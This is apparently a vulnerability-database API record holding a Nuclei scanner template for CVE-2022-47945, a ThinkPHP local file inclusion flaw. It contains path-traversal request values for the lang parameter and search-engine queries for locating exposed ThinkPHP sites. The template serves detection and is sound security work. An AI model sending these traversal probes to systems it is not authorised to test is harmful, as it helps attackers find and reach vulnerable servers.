{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-47945/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-47945/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-47945/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-47945/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-47945/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-47945"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-47945"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-47945.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-47945\n\ninfo:\n  name: Thinkphp Lang - Local File Inclusion\n  author: kagamigawa\n  severity: critical\n  description: |\n    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.\n  impact: |\n    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.\n  remediation: |\n    Apply the latest security patches and updates provided by the Thinkphp framework.\n  reference:\n    - https://tttang.com/archive/1865/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945\n    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14\n    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-47945\n    cwe-id: CWE-22\n    epss-score: 0.28254\n    epss-percentile: 0.98033\n    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: thinkphp\n    product: thinkphp\n    shodan-query:\n      - title:\"Thinkphp\"\n      - http.title:\"thinkphp\"\n      - cpe:\"cpe:2.3:a:thinkphp:thinkphp\"\n    fofa-query:\n      - header=\"think_lang\"\n      - title=\"thinkphp\"\n    google-query: intitle:\"thinkphp\"\n  tags: cve,cve2022,thinkphp,lfi,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?lang=../../thinkphp/base\"\n      - \"{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'Call Stack'\n          - 'class=\"trace'\n        condition: and\n\n      - type: status\n        status:\n          - 500\n# digest: 490a00463044022000d590fad6b1a322b6a142b47b24818c0ed318256f0380b5e10a289f592dea5902203516754ef684b21585f49a6fbe9b2fd4e85df343353d7b73e860e2ff20cb6400:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-47945"
}